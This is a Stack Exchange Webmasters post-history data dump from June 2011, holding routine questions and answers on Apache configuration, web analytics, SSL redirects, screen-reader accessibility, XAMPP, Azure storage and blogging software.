  <row Id="34928" PostHistoryTypeId="1" PostId="14859" RevisionGUID="fcb2dbf3-ec21-43bc-8567-1dcfdd5238f7" CreationDate="2011-06-05T22:54:47.020" UserId="8062" Text="How to upload many geotargeted locations to Google Adwords with Copy/Paste" />
  <row Id="34929" PostHistoryTypeId="3" PostId="14859" RevisionGUID="fcb2dbf3-ec21-43bc-8567-1dcfdd5238f7" CreationDate="2011-06-05T22:54:47.020" UserId="8062" Text="&lt;adwords&gt;&lt;geotargeting&gt;" />
  <row Id="34930" PostHistoryTypeId="2" PostId="14860" RevisionGUID="3c1160a3-7b6f-4e4a-ba9b-d5f026212ca4" CreationDate="2011-06-06T00:12:43.717" UserId="7405" Text="Unless the web host provider you use offers some type of email service, when you offer hosting through a VPS you are generally going to be sharing web hosting and email on the same server (using the same space).  If you want to break it up you will either need to get another VPS or dedicated server just for email, or have your customers use something like Google Apps for their domain email.  Using Google Apps may be a good option since it would allow you to move a customer's website to a different server if needed without affecting email service.  If there are only a small number of email accounts, there is a free version available.  For the power email users, the cost for the paid version is fairly minimal per account as well." />
  <row Id="34931" PostHistoryTypeId="25" PostId="14859" RevisionGUID="7d7d4ec4-2afb-44e2-959e-4f6c0a25a717" CreationDate="2011-06-06T00:13:48.773" Comment="http://twitter.com/#!/StackWebmasters/status/77528579482718208" />
  <row Id="34932" PostHistoryTypeId="25" PostId="14858" RevisionGUID="3a7f1f76-0819-416a-9393-09006516bc9b" CreationDate="2011-06-06T03:13:49.763" Comment="http://twitter.com/#!/StackWebmasters/status/77573881493336064" />
  <row Id="34933" PostHistoryTypeId="25" PostId="14855" RevisionGUID="f3ec08fd-2b8e-4da9-8440-6cbd7b2fa5ba" CreationDate="2011-06-06T06:13:49.797" Comment="http://twitter.com/#!/StackWebmasters/status/77619181490679808" />
  <row Id="34934" PostHistoryTypeId="2" PostId="14861" RevisionGUID="f07cb295-f492-4379-8abb-70633b9b5c87" CreationDate="2011-06-06T08:32:06.653" UserId="7198" Text="Have you updated your `/etc/apache2/httpd.conf` file? If not, open it and add the following lines at the end of the file. You may need to replace `/srv/www/htdocs` with the path to your server's 'htdocs' or 'public_html' directory:&#xD;&#xA;&#xD;&#xA;    DocumentRoot &quot;/srv/www/htdocs&quot;&#xD;&#xA;    &lt;Directory &quot;/srv/www/htdocs&quot;&gt;&#xD;&#xA;        Options +FollowSymLinks&#xD;&#xA;        AllowOverride all&#xD;&#xA;        Order deny,allow&#xD;&#xA;        Allow from all&#xD;&#xA;    &lt;/Directory&gt;&#xD;&#xA;&#xD;&#xA;Restart Apache and check your URL again. If you still see errors, try creating an .htaccess file in your `htdocs` folder to force the base directory. This seems to help sometimes if your hosting company puts their VPS boxes behind another server:&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;        RewriteEngine On&#xD;&#xA;        RewriteBase /&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;If this still fails to fix things for you, check the logs at `/var/log/apache2/access_log` and `/var/log/apache2/error_log` to see what's going wrong. You can also use [RewriteLogLevel](http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html#rewriteloglevel) to get more information about where the URL rewrite fails." />
  <row Id="34935" PostHistoryTypeId="2" PostId="14862" RevisionGUID="61d4c201-a5e8-4493-a768-f8edc71578d6" CreationDate="2011-06-06T09:03:46.123" UserId="8065" Text="I have an application in a web farm which it consists of 4 web servers.&#xD;&#xA;Every time I made a change on the application and I upload it on the server I am getting an error which said that the *.DLL isn't available. &#xD;&#xA;It gets compiled on the 1st server and I have to await until it gets compiled on the other servers as well. &#xD;&#xA;&#xD;&#xA;Let's say that I have 50 web servers, how could I avoid the compilation an all the servers.&#xD;&#xA;&#xD;&#xA;Is there any workaround for this?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" />
  <row Id="34936" PostHistoryTypeId="1" PostId="14862" RevisionGUID="61d4c201-a5e8-4493-a768-f8edc71578d6" CreationDate="2011-06-06T09:03:46.123" UserId="8065" Text="web farm application issue with compilation" />
  <row Id="34937" PostHistoryTypeId="3" PostId="14862" RevisionGUID="61d4c201-a5e8-4493-a768-f8edc71578d6" CreationDate="2011-06-06T09:03:46.123" UserId="8065" Text="&lt;asp.net&gt;&lt;webfarm&gt;" />
  <row Id="34938" PostHistoryTypeId="2" PostId="14863" RevisionGUID="c8ef4646-5f0f-46a6-a932-2bb1ebae623c" CreationDate="2011-06-06T09:04:32.943" UserId="7198" Text="[Clicky](http://getclicky.com/) is a real-time web analytics service with a  &quot;spy&quot; panel lets you see a live report of incoming links. You can see their [live demo here.](http://getclicky.com/#/stats/spy?site_id=32020)&#xD;&#xA;&#xD;&#xA;[Woopra](http://www.woopra.com/) also offers real-time web analytics with a [live dashboard](http://www.woopra.com/features/live-dashboard/) that displays active referrers to show new traffic sources live. &#xD;&#xA;&#xD;&#xA;[Google Alerts](http://www.google.com/alerts) can be good too. Use the `link:yoursite.com` search format and the following settings. As John says, it's pretty speedy, but if you want to know instantly when you're being talked about, use a real-time analytics service.&#xD;&#xA;&#xD;&#xA;![Google alerts][1]&#xD;&#xA;&#xD;&#xA;Note that Google Analytics offers basic referrer information too, but not in real-time, and it often fails to show the exact page traffic was referred from (only the domain).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/c4376.jpg" />
  <row Id="34939" PostHistoryTypeId="25" PostId="14862" RevisionGUID="e7fd130f-289c-478b-ae88-1bc65577953d" CreationDate="2011-06-06T09:13:50.677" Comment="http://twitter.com/#!/StackWebmasters/status/77664483031531522" />
  <row Id="34940" PostHistoryTypeId="2" PostId="14864" RevisionGUID="af6a2565-3623-405d-af09-5c59e6ff2dea" CreationDate="2011-06-06T10:26:24.807" UserId="7198" Text="In Google Analytics:&#xD;&#xA;&#xD;&#xA;1. Go to Traffic Source &gt; Referring Sites&#xD;&#xA;2. Change the date filter (drop down in the top right) to the time you're interested in (e.g. today's date only).&#xD;&#xA;&#xD;&#xA;You could also use real-time analytics services such as [Woopra](http://www.woopra.com/) and [Clicky,](http://getclicky.com/) both of which offer live referrer information in their control panels." />
  <row Id="34945" PostHistoryTypeId="18" PostId="11731" RevisionGUID="3d7adc12-5d5a-435e-af5d-9e05d00b64bc" CreationDate="2011-06-06T11:18:12.963" UserId="108" Comment="to http://webmasters.stackexchange.com/questions/1689/fixed-width-vs-dynamic-width" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="34946" PostHistoryTypeId="18" PostId="11743" RevisionGUID="3d7adc12-5d5a-435e-af5d-9e05d00b64bc" CreationDate="2011-06-06T11:18:12.963" UserId="108" Comment="from http://webmasters.stackexchange.com/questions/11731/dynamic-and-fixed-layout" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="34947" PostHistoryTypeId="18" PostId="11745" RevisionGUID="3d7adc12-5d5a-435e-af5d-9e05d00b64bc" CreationDate="2011-06-06T11:18:12.963" UserId="108" Comment="from http://webmasters.stackexchange.com/questions/11731/dynamic-and-fixed-layout" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="34948" PostHistoryTypeId="18" PostId="14857" RevisionGUID="3d7adc12-5d5a-435e-af5d-9e05d00b64bc" CreationDate="2011-06-06T11:18:12.963" UserId="108" Comment="from http://webmasters.stackexchange.com/questions/11731/dynamic-and-fixed-layout" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="34949" PostHistoryTypeId="18" PostId="1689" RevisionGUID="3d7adc12-5d5a-435e-af5d-9e05d00b64bc" CreationDate="2011-06-06T11:18:12.963" UserId="108" Comment="from http://webmasters.stackexchange.com/questions/11731/dynamic-and-fixed-layout" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="34950" PostHistoryTypeId="14" PostId="11731" RevisionGUID="9cf92358-af50-4ed5-bbfc-00f0ee5fec2b" CreationDate="2011-06-06T11:18:13.320" UserId="108" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="34951" PostHistoryTypeId="2" PostId="14865" RevisionGUID="ebbef8f1-8e67-457a-af51-8744a6f6ed66" CreationDate="2011-06-06T11:54:26.537" UserId="6783" Text="I was comparing the data between AwStats and google analytics and found differences of almost double the magnitude in the number of visits and more some times more than 8 times in the total number of page views.&#xD;&#xA;&#xD;&#xA;What can be the possible problem and solution?" />
  <row Id="34952" PostHistoryTypeId="1" PostId="14865" RevisionGUID="ebbef8f1-8e67-457a-af51-8744a6f6ed66" CreationDate="2011-06-06T11:54:26.537" UserId="6783" Text="Google Analytics is very inaccurate. Huge difference in numbers from AwStats." />
  <row Id="34953" PostHistoryTypeId="3" PostId="14865" RevisionGUID="ebbef8f1-8e67-457a-af51-8744a6f6ed66" CreationDate="2011-06-06T11:54:26.537" UserId="6783" Text="&lt;google-analytics&gt;&lt;visitors&gt;&lt;awstats&gt;" />
  <row Id="34954" PostHistoryTypeId="5" PostId="14865" RevisionGUID="a6c83ce2-0d4d-4573-ab0f-be1d2a7c2d9b" CreationDate="2011-06-06T11:58:57.023" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Huge difference in visits/hits between IIS logs and google analytics](http://webmasters.stackexchange.com/questions/12418/huge-difference-in-visits-hits-between-iis-logs-and-google-analytics)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I was comparing the data between AwStats and google analytics and found differences of almost double the magnitude in the number of visits and more some times more than 8 times in the total number of page views.&#xD;&#xA;&#xD;&#xA;What can be the possible problem and solution?" />
  <row Id="34955" PostHistoryTypeId="10" PostId="14865" RevisionGUID="e1a44149-6dff-4856-b3e0-8ee3b8aa27dd" CreationDate="2011-06-06T11:58:56.977" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="34956" PostHistoryTypeId="25" PostId="14829" RevisionGUID="cca8c5c8-a71a-4937-a9e5-33cd8c2eb074" CreationDate="2011-06-06T12:13:50.027" Comment="http://twitter.com/#!/StackWebmasters/status/77709778104754178" />
  <row Id="34957" PostHistoryTypeId="17" PostId="14866" RevisionGUID="59a56125-d380-46a6-b5f8-3fbc306d7993" CreationDate="2011-06-06T12:58:30.103" UserId="-1" Comment="from http://stackoverflow.com/questions/6236928/ssl-redirection" Text="" />
  <row Id="34958" PostHistoryTypeId="17" PostId="14867" RevisionGUID="9ef57f4b-4c75-4f90-bba3-bd5083f562f4" CreationDate="2011-06-06T12:58:30.103" UserId="-1" Comment="from http://stackoverflow.com/questions/6236928/ssl-redirection" Text="" />
  <row Id="34959" PostHistoryTypeId="2" PostId="14867" RevisionGUID="d938661e-0003-458e-a3b0-919ba42b6c0a" CreationDate="2011-06-04T21:18:08.903" UserDisplayName="user384706" Text="What this warning means is, that the CN of the certificate being presented by the server during SSL handshake does not match the URL the user requested.  &#xD;&#xA;To be honest I am not quite sure how you network configuration should change.  &#xD;&#xA;As a first comment, you could just ignore this, since you already purchased the certificate.  &#xD;&#xA;But if the configuration on the client side is stricter (i.e. to validate the host name, your server would not be accessed as &quot;untrusted&quot;).  &#xD;&#xA;I suspect that the certificate is issued to an IP and not an FQDN.  &#xD;&#xA;If it was issued to an FQDN and your server's IP (you redirect the request to) resolves to that FQDN you would have no such issue.  &#xD;&#xA;" />
  <row Id="34960" PostHistoryTypeId="2" PostId="14866" RevisionGUID="0af60a83-2ed0-4c24-9e26-b22bfea26628" CreationDate="2011-06-04T13:11:53.653" UserDisplayName="lalit" Text="I want to redirect one of my domain hosted in a domain provider to a different server where I have a Tomcat based application installed. I have purchased SSL for the server with Tomcat installed. The redirect works fine, however in the browser I see the message &quot;server's certificate does not match the url&quot;." />
  <row Id="34961" PostHistoryTypeId="1" PostId="14866" RevisionGUID="0af60a83-2ed0-4c24-9e26-b22bfea26628" CreationDate="2011-06-04T13:11:53.653" UserDisplayName="lalit" Text="SSL redirection" />
  <row Id="34962" PostHistoryTypeId="3" PostId="14866" RevisionGUID="0af60a83-2ed0-4c24-9e26-b22bfea26628" CreationDate="2011-06-04T13:11:53.653" UserDisplayName="lalit" Text="&lt;ssl&gt;&lt;ssl-certificate&gt;" />
  <row Id="34963" PostHistoryTypeId="5" PostId="14855" RevisionGUID="859a1252-dcc5-4a7b-8024-b8b55fdc9da0" CreationDate="2011-06-06T13:00:51.010" UserId="108" Comment="Made question more clear" Text="In Google Webmasters Tools you can export the list of keywords. What can you do with this list?  &#xD;&#xA;&#xD;&#xA;I'm asking this in sense of could something special be done with this comma separated list?  &#xD;&#xA;Is there any good software which analyses that?  &#xD;&#xA;&#xD;&#xA;What do people do with this list?" />
  <row Id="34964" PostHistoryTypeId="2" PostId="14868" RevisionGUID="a84ca3f1-0d93-4b3d-8bc2-93ade2942dce" CreationDate="2011-06-06T13:17:32.743" UserId="7198" Text="&quot;Close your eyes&quot; isn't the answer I'm looking for, but +1 to you if it was your first thought.&#xD;&#xA;&#xD;&#xA;I'm putting together an awareness campaign called [Browse Blind.](http://browseblind.com/) The goals are to:&#xD;&#xA;&#xD;&#xA; - Help sighted people experience the Web as a visually impaired user for one day or more.&#xD;&#xA; - Show video footage of visually impaired users browsing popular sites such as Facebook.&#xD;&#xA; - Encourage webmasters to take a more active interest in making their sites accessible.&#xD;&#xA; - Demonstrate the features that make a site accessible, and those that impede accessibility.&#xD;&#xA; - Make the Web a better place.&#xD;&#xA;&#xD;&#xA;The project came about after a health scare that resulted in three trips to a local eye hospital. My sight is OK now, but it struck me that, as much as web designers and developers wax lyrical about accessibility, very few seem to have used a screen reader for any length of time (myself included) or considered what their online experience would be like if they suddenly lost their sight. And *not a single one* of the 100 or so webmasters I've spoken to about accessibility have watched partially sighted users browse the Web. (It's one of the topics I always bring up at Web conferences.)&#xD;&#xA;&#xD;&#xA;My questions are:&#xD;&#xA;&#xD;&#xA;1. **What is the most common method of Web access** (and the name of any related software) for partially sighted users?&#xD;&#xA;2. **How can I simulate this method** so that a non-technical sighted user on any desktop platform can browse the Web in the same way as a partially sighted person with minimal setup steps?&#xD;&#xA;&#xD;&#xA;For question 2, I'd like to avoid recommending that people download and install a screen reader for their OS if I can, because I think doing so will drastically reduce the number of participants. So I'm looking for Web based simulators (and browser plugins if they exist). &#xD;&#xA;&#xD;&#xA;If you know of a cross-platform screen reader that's easy to set up, then that might be an option too, as would step-by-step guides that turn a Mac or Windows OS and browser into 'accessible mode' without further software, *as long as you're sure that this is a method that partially sighted computer users employ*.&#xD;&#xA;&#xD;&#xA;The closest in-browser screen reader emulator I've found so far is [WebAnywhere.](http://webanywhere.cs.washington.edu/beta/index.php?locale=en) (Warning: audio plays as soon as you click that link.) It's technically very impressive, but it's a beta, and it doesn't yet appear to work reliably as a functional web browser. If there's nothing out there like this, that's fine as an answer too. (I'm prepared to build something that emulates the most common access methods, but I need to understand what those are first.)" />
  <row Id="34965" PostHistoryTypeId="1" PostId="14868" RevisionGUID="a84ca3f1-0d93-4b3d-8bc2-93ade2942dce" CreationDate="2011-06-06T13:17:32.743" UserId="7198" Text="How can I browse the Web blind for a day?" />
  <row Id="34966" PostHistoryTypeId="3" PostId="14868" RevisionGUID="a84ca3f1-0d93-4b3d-8bc2-93ade2942dce" CreationDate="2011-06-06T13:17:32.743" UserId="7198" Text="&lt;browsers&gt;&lt;accessibility&gt;" />
  <row Id="34967" PostHistoryTypeId="2" PostId="14869" RevisionGUID="74c73943-d196-46c8-83c9-fdc87793a66a" CreationDate="2011-06-06T13:42:29.313" UserId="1253" Text="[Jaws][1] is still the most popular screen reader. According to wikipedia other popular screen readers include Window-Eyes from GW Micro, Dolphin Supernova by Dolphin, System Access from Serotek, and ZoomText Magnifier/Reader from Ai Squared are prominent examples in the English-speaking market. Wikipedia does offer [a list of screen readers][2] if none of the above suit your needs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freedomscientific.com/products/fs/jaws-product-page.asp&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/List_of_screen_readers" />
  <row Id="34968" PostHistoryTypeId="17" PostId="14870" RevisionGUID="68a4b385-6858-4e42-bf1e-8b078c48e9ac" CreationDate="2011-06-06T13:45:58.570" UserId="-1" Comment="from http://stackoverflow.com/questions/6245603/photoblogging-engine-using-php-and-mysql-or-postgresql" Text="" />
  <row Id="34969" PostHistoryTypeId="17" PostId="14871" RevisionGUID="04f46c5c-f8b3-44b8-8f00-526e6ed4aecc" CreationDate="2011-06-06T13:45:58.570" UserId="-1" Comment="from http://stackoverflow.com/questions/6245603/photoblogging-engine-using-php-and-mysql-or-postgresql" Text="" />
  <row Id="34970" PostHistoryTypeId="2" PostId="14871" RevisionGUID="245108c1-fdf0-4f00-b968-fb9ad26204b5" CreationDate="2011-06-05T20:38:56.507" UserDisplayName="asdf" Text="I would recommend using [Wordpress](http://wordpress.com/) or [Indexhibit](http://www.indexhibit.org/), with a theme of your choice. Using Wordpress plugins, you can add photo editing functionality." />
  <row Id="34971" PostHistoryTypeId="2" PostId="14870" RevisionGUID="43d584d0-09d7-4f1f-b41a-8a04e362ce10" CreationDate="2011-06-05T20:20:45.687" UserDisplayName="Marko" Text="I am looking for nice looking and with good usability photo blogging software to run on my server. So far I have found PixelPost, Cheesecake and EZPX.&#xD;&#xA;PixelPost - look quite abandoned project&#xD;&#xA;Cheesecake - also quite abadoned&#xD;&#xA;EZPX - Not sure about it." />
  <row Id="34972" PostHistoryTypeId="1" PostId="14870" RevisionGUID="43d584d0-09d7-4f1f-b41a-8a04e362ce10" CreationDate="2011-06-05T20:20:45.687" UserDisplayName="Marko" Text="Photoblogging engine using PHP and MySQL or PostgreSQL" />
  <row Id="34973" PostHistoryTypeId="3" PostId="14870" RevisionGUID="43d584d0-09d7-4f1f-b41a-8a04e362ce10" CreationDate="2011-06-05T20:20:45.687" UserDisplayName="Marko" Text="&lt;php&gt;&lt;mysql&gt;&lt;blog&gt;&lt;photo&gt;" />
  <row Id="34974" PostHistoryTypeId="17" PostId="14872" RevisionGUID="61dc262d-50e9-436a-938d-45d484ddd4af" CreationDate="2011-06-06T13:48:36.730" UserId="-1" Comment="from http://stackoverflow.com/questions/6239935/xampp-not-displaying-php-pages-in-htdocs" Text="" />
  <row Id="34975" PostHistoryTypeId="17" PostId="14873" RevisionGUID="1f6471e9-3476-449f-af74-cac82bcd5758" CreationDate="2011-06-06T13:48:36.730" UserId="-1" Comment="from http://stackoverflow.com/questions/6239935/xampp-not-displaying-php-pages-in-htdocs" Text="" />
  <row Id="34976" PostHistoryTypeId="17" PostId="14874" RevisionGUID="92b55407-08b9-4b58-828f-05402d044fec" CreationDate="2011-06-06T13:48:36.730" UserId="-1" Comment="from http://stackoverflow.com/questions/6239935/xampp-not-displaying-php-pages-in-htdocs" Text="" />
  <row Id="34977" PostHistoryTypeId="2" PostId="14873" RevisionGUID="c6acad91-f9ff-47fe-8278-ff91654c54bd" CreationDate="2011-06-04T23:11:56.730" UserDisplayName="james" Text="You might consider setting up vhosts with Apache so you don't have to copy your files anywhere.&#xD;&#xA;&#xD;&#xA;Here is a link to a [tutorial for setting up vhosts with xampp][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ailoo.net/2008/07/set-up-multiple-virtual-hosts-on-xampp-for-windows/" />
  <row Id="34978" PostHistoryTypeId="2" PostId="14874" RevisionGUID="c5c74906-1d22-4870-8568-b25f2fbdd2c2" CreationDate="2011-06-04T23:16:57.560" UserId="6599" Text="What system are you using, Win, Mac or Linux? On Mac when I try http://localhost/ it redirects to http://localhost/xampp/ and then there's the default welcome page.&#xD;&#xA;&#xD;&#xA;Also, if you put you page(s) in a folder ( 'abc_folder/index.php' for example) under htdocs, you'll have to call it http://localhost/abc_folder/index.php" />
  <row Id="34979" PostHistoryTypeId="2" PostId="14872" RevisionGUID="1af9f10c-8a5a-4f9a-a24d-43f4af183932" CreationDate="2011-06-04T23:07:46.593" UserDisplayName="ez87" Text="I installed xampp this evening and none of my PHP pages will display.&#xD;&#xA;I am storing all my pages in the htdocs folder as directed too and calling via http://localhost/index.php and nothing appears? All systems are online. Is there anything else that should have been done before copying over my pages?&#xD;&#xA;&#xD;&#xA;Any ideas? Very new to php and xampp! Thank you" />
  <row Id="34980" PostHistoryTypeId="1" PostId="14872" RevisionGUID="1af9f10c-8a5a-4f9a-a24d-43f4af183932" CreationDate="2011-06-04T23:07:46.593" UserDisplayName="ez87" Text="Xampp not displaying PHP pages in htdocs" />
  <row Id="34981" PostHistoryTypeId="3" PostId="14872" RevisionGUID="1af9f10c-8a5a-4f9a-a24d-43f4af183932" CreationDate="2011-06-04T23:07:46.593" UserDisplayName="ez87" Text="&lt;php&gt;&lt;xampp&gt;" />
  <row Id="34982" PostHistoryTypeId="5" PostId="14869" RevisionGUID="b8710c5c-b6cf-43e6-9b11-998f5250234d" CreationDate="2011-06-06T13:48:41.417" UserId="1253" Comment="added 738 characters in body; added 134 characters in body" Text="[Jaws][1] is still the most popular screen reader. According to wikipedia other popular screen readers include Window-Eyes from GW Micro, Dolphin Supernova by Dolphin, System Access from Serotek, and ZoomText Magnifier/Reader from Ai Squared are prominent examples in the English-speaking market. Wikipedia does offer [a list of screen readers][2] if none of the above suit your needs.&#xD;&#xA;&#xD;&#xA;If you want to simulate what a screen reader does, take a webpage and remove the JavaScript, CSS, and images. Display the ALT attributes of any images on the page. That's what a screen reader sees. Is the page easy to use? Does it make sense? Creating a tool that grabs pages off of the Web (you can either have pre-chosen ones that you know do poorly or very well or let the user grab any page they want) and show it without the JavaScript, CSS, and images. I bet webmasters testing out their sites will be quite surprised when they see that their site makes no sense when displayed this way.&#xD;&#xA;&#xD;&#xA;A good thing to point out is how ALT attributes are abused and stuffed with keywords. The side affect of this is screen readers see a bunch of unnecessary text that only confuses blind users. (And if it looks stupid to blind users then it looks stupid to search engines).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freedomscientific.com/products/fs/jaws-product-page.asp&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/List_of_screen_readers" />
  <row Id="34983" PostHistoryTypeId="6" PostId="14870" RevisionGUID="f660335f-0c24-4e63-acd7-9a37d6d1583b" CreationDate="2011-06-06T13:50:58.563" UserId="1253" Comment="edited tags" Text="&lt;php&gt;&lt;blog&gt;&lt;looking-for-a-script&gt;&lt;mysql&gt;&lt;photo&gt;" />
  <row Id="34984" PostHistoryTypeId="17" PostId="14875" RevisionGUID="22924658-d57b-4255-a747-cf95d3af72e9" CreationDate="2011-06-06T13:52:28.057" UserId="-1" Comment="from http://stackoverflow.com/questions/6241860/what-happen-to-uploaded-files-in-windows-azure" Text="" />
  <row Id="34985" PostHistoryTypeId="17" PostId="14876" RevisionGUID="4d0b47ac-1feb-4941-b5cf-2b666ee446ab" CreationDate="2011-06-06T13:52:28.057" UserId="-1" Comment="from http://stackoverflow.com/questions/6241860/what-happen-to-uploaded-files-in-windows-azure" Text="" />
  <row Id="34986" PostHistoryTypeId="2" PostId="14876" RevisionGUID="6f4a6a25-3276-42a8-a808-c22cf84ded4e" CreationDate="2011-06-05T09:13:01.533" UserId="9234" UserDisplayName="David Makogon" Text="When you upload new images, you don't want to upload them to your vm instances, as each time those are restarted (due to your code updates, OS updates, hardware failures, etc.), they revert to how they originally were.&#xD;&#xA;&#xD;&#xA;You want to upload images to either Windows Azure blob storage or SQL Azure, both of which are outside of your vm instances and are considered *durable storage* (replicated at least 3 times within the data center).&#xD;&#xA;&#xD;&#xA;You can look at the examples in the [Windows Azure Platform Training Kit][1] for working with SQL Azure and blob storage.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/downloads/en/details.aspx?familyid=413e88f8-5966-4a83-b309-53b7b77edf78" />
  <row Id="34987" PostHistoryTypeId="2" PostId="14875" RevisionGUID="2bfe3b96-da7a-43cc-a440-3a44d9677487" CreationDate="2011-06-05T08:48:16.413" UserDisplayName="Raha" Text="I only started to use Windows Azure yesterday so I think this question is a Newbie question.&#xD;&#xA;Lets say I use the deployed application that I have for a month, during this period I upload a lots of images to server (I upload them to where my projects is), after one month I decide to release the new code, what will happen to my currently uploaded images that are in my project ?&#xD;&#xA;&#xD;&#xA;Do they get deleted as well ? If the answer is yes then how can I guaranty that they don't get deleted every time I deploy new code ?&#xD;&#xA;&#xD;&#xA;I appreciate your answer." />
  <row Id="34988" PostHistoryTypeId="1" PostId="14875" RevisionGUID="2bfe3b96-da7a-43cc-a440-3a44d9677487" CreationDate="2011-06-05T08:48:16.413" UserDisplayName="Raha" Text="What Happen To Uploaded files in Windows Azure" />
  <row Id="34989" PostHistoryTypeId="3" PostId="14875" RevisionGUID="2bfe3b96-da7a-43cc-a440-3a44d9677487" CreationDate="2011-06-05T08:48:16.413" UserDisplayName="Raha" Text="&lt;windows&gt;" />
  <row Id="34990" PostHistoryTypeId="2" PostId="14877" RevisionGUID="8a095c7c-fb35-4a88-b63d-2c966e09b02c" CreationDate="2011-06-06T13:53:24.723" UserId="1253" Text="Wordpress has documentation dedicated to [photoblogs and galleries][1]. Everything you would want to know setting up Wordpress to that is right there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codex.wordpress.org/Photoblogs_and_Galleries" />
  <row Id="34991" PostHistoryTypeId="17" PostId="14878" RevisionGUID="5b42e9d1-ee8a-4099-9a66-563c7adef37d" CreationDate="2011-06-06T13:53:33.437" UserId="-1" Comment="from http://stackoverflow.com/questions/6250219/django-plugable-news-story-application" Text="" />
  <row Id="34992" PostHistoryTypeId="17" PostId="14879" RevisionGUID="42cc7988-8987-41df-930e-6da37a8c7781" CreationDate="2011-06-06T13:53:33.437" UserId="-1" Comment="from http://stackoverflow.com/questions/6250219/django-plugable-news-story-application" Text="" />
  <row Id="34993" PostHistoryTypeId="2" PostId="14879" RevisionGUID="2aa3bfc7-7b3e-4bfd-9257-129ea37c1340" CreationDate="2011-06-06T09:57:50.713" UserDisplayName="ashwoods" Text="Here you have a comparison of django blogs (and other apps you can use, btw):&#xD;&#xA;&#xD;&#xA;http://djangopackages.com/grids/g/blogs/&#xD;&#xA;" />
  <row Id="34994" PostHistoryTypeId="2" PostId="14878" RevisionGUID="969541c2-7a3c-40f2-9ccd-157c820db020" CreationDate="2011-06-06T09:46:12.493" UserDisplayName="nixnotwin" Text="Are there any plugable django blog apps that can be embeded into existing pages or templates. It doesn't have to be a full fledged blogging engine. The features I am looking for are:&#xD;&#xA;&#xD;&#xA; - Displaying multiple stories with 'read more' button. Display should be like news items on a news-agregator, without the regular features of blogs like commenting or social networking buttons.&#xD;&#xA; - Url for each story&#xD;&#xA; - Support for pagination to limit the number of stories that can apper on the home page.&#xD;&#xA; - Loadable on to the existing pages or templates.&#xD;&#xA; &#xD;&#xA;If there are no such apps, suggestions for how the modules (views, models, urls) can be written are welcome." />
  <row Id="34995" PostHistoryTypeId="1" PostId="14878" RevisionGUID="969541c2-7a3c-40f2-9ccd-157c820db020" CreationDate="2011-06-06T09:46:12.493" UserDisplayName="nixnotwin" Text="Django plugable news story application" />
  <row Id="34996" PostHistoryTypeId="3" PostId="14878" RevisionGUID="969541c2-7a3c-40f2-9ccd-157c820db020" CreationDate="2011-06-06T09:46:12.493" UserDisplayName="nixnotwin" Text="&lt;django&gt;&lt;blog&gt;" />
  <row Id="34997" PostHistoryTypeId="2" PostId="14880" RevisionGUID="420c39c7-2ab6-4338-8ea9-b3427e1346b0" CreationDate="2011-06-06T13:57:53.770" UserId="4755" Text="When ever I search for one of client sites. I don't see the title of the website. Suppose the title is &quot;Blah blah blah - Example&quot; ,When I search for &quot;Example&quot;, in google search the title only shows up as &quot;Example&quot; .. not as &quot;Blah Blah - Example&quot;. &#xD;&#xA;&#xD;&#xA;What can be the issue here ?" />
  <row Id="34998" PostHistoryTypeId="1" PostId="14880" RevisionGUID="420c39c7-2ab6-4338-8ea9-b3427e1346b0" CreationDate="2011-06-06T13:57:53.770" UserId="4755" Text="Site Title doesn't show up in Google Search" />
  <row Id="34999" PostHistoryTypeId="3" PostId="14880" RevisionGUID="420c39c7-2ab6-4338-8ea9-b3427e1346b0" CreationDate="2011-06-06T13:57:53.770" UserId="4755" Text="&lt;seo&gt;" />
  <row Id="35000" PostHistoryTypeId="5" PostId="14880" RevisionGUID="35793802-1cfc-4346-93b6-7672de476cf7" CreationDate="2011-06-06T14:01:19.027" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Title tag different from title appearing in Google?](http://webmasters.stackexchange.com/questions/14415/title-tag-different-from-title-appearing-in-google)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;When ever I search for one of client sites. I don't see the title of the website. Suppose the title is &quot;Blah blah blah - Example&quot; ,When I search for &quot;Example&quot;, in google search the title only shows up as &quot;Example&quot; .. not as &quot;Blah Blah - Example&quot;. &#xD;&#xA;&#xD;&#xA;What can be the issue here ?" />
  <row Id="35001" PostHistoryTypeId="10" PostId="14880" RevisionGUID="0a479282-510b-4dbb-a180-318a26d583e2" CreationDate="2011-06-06T14:01:18.807" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
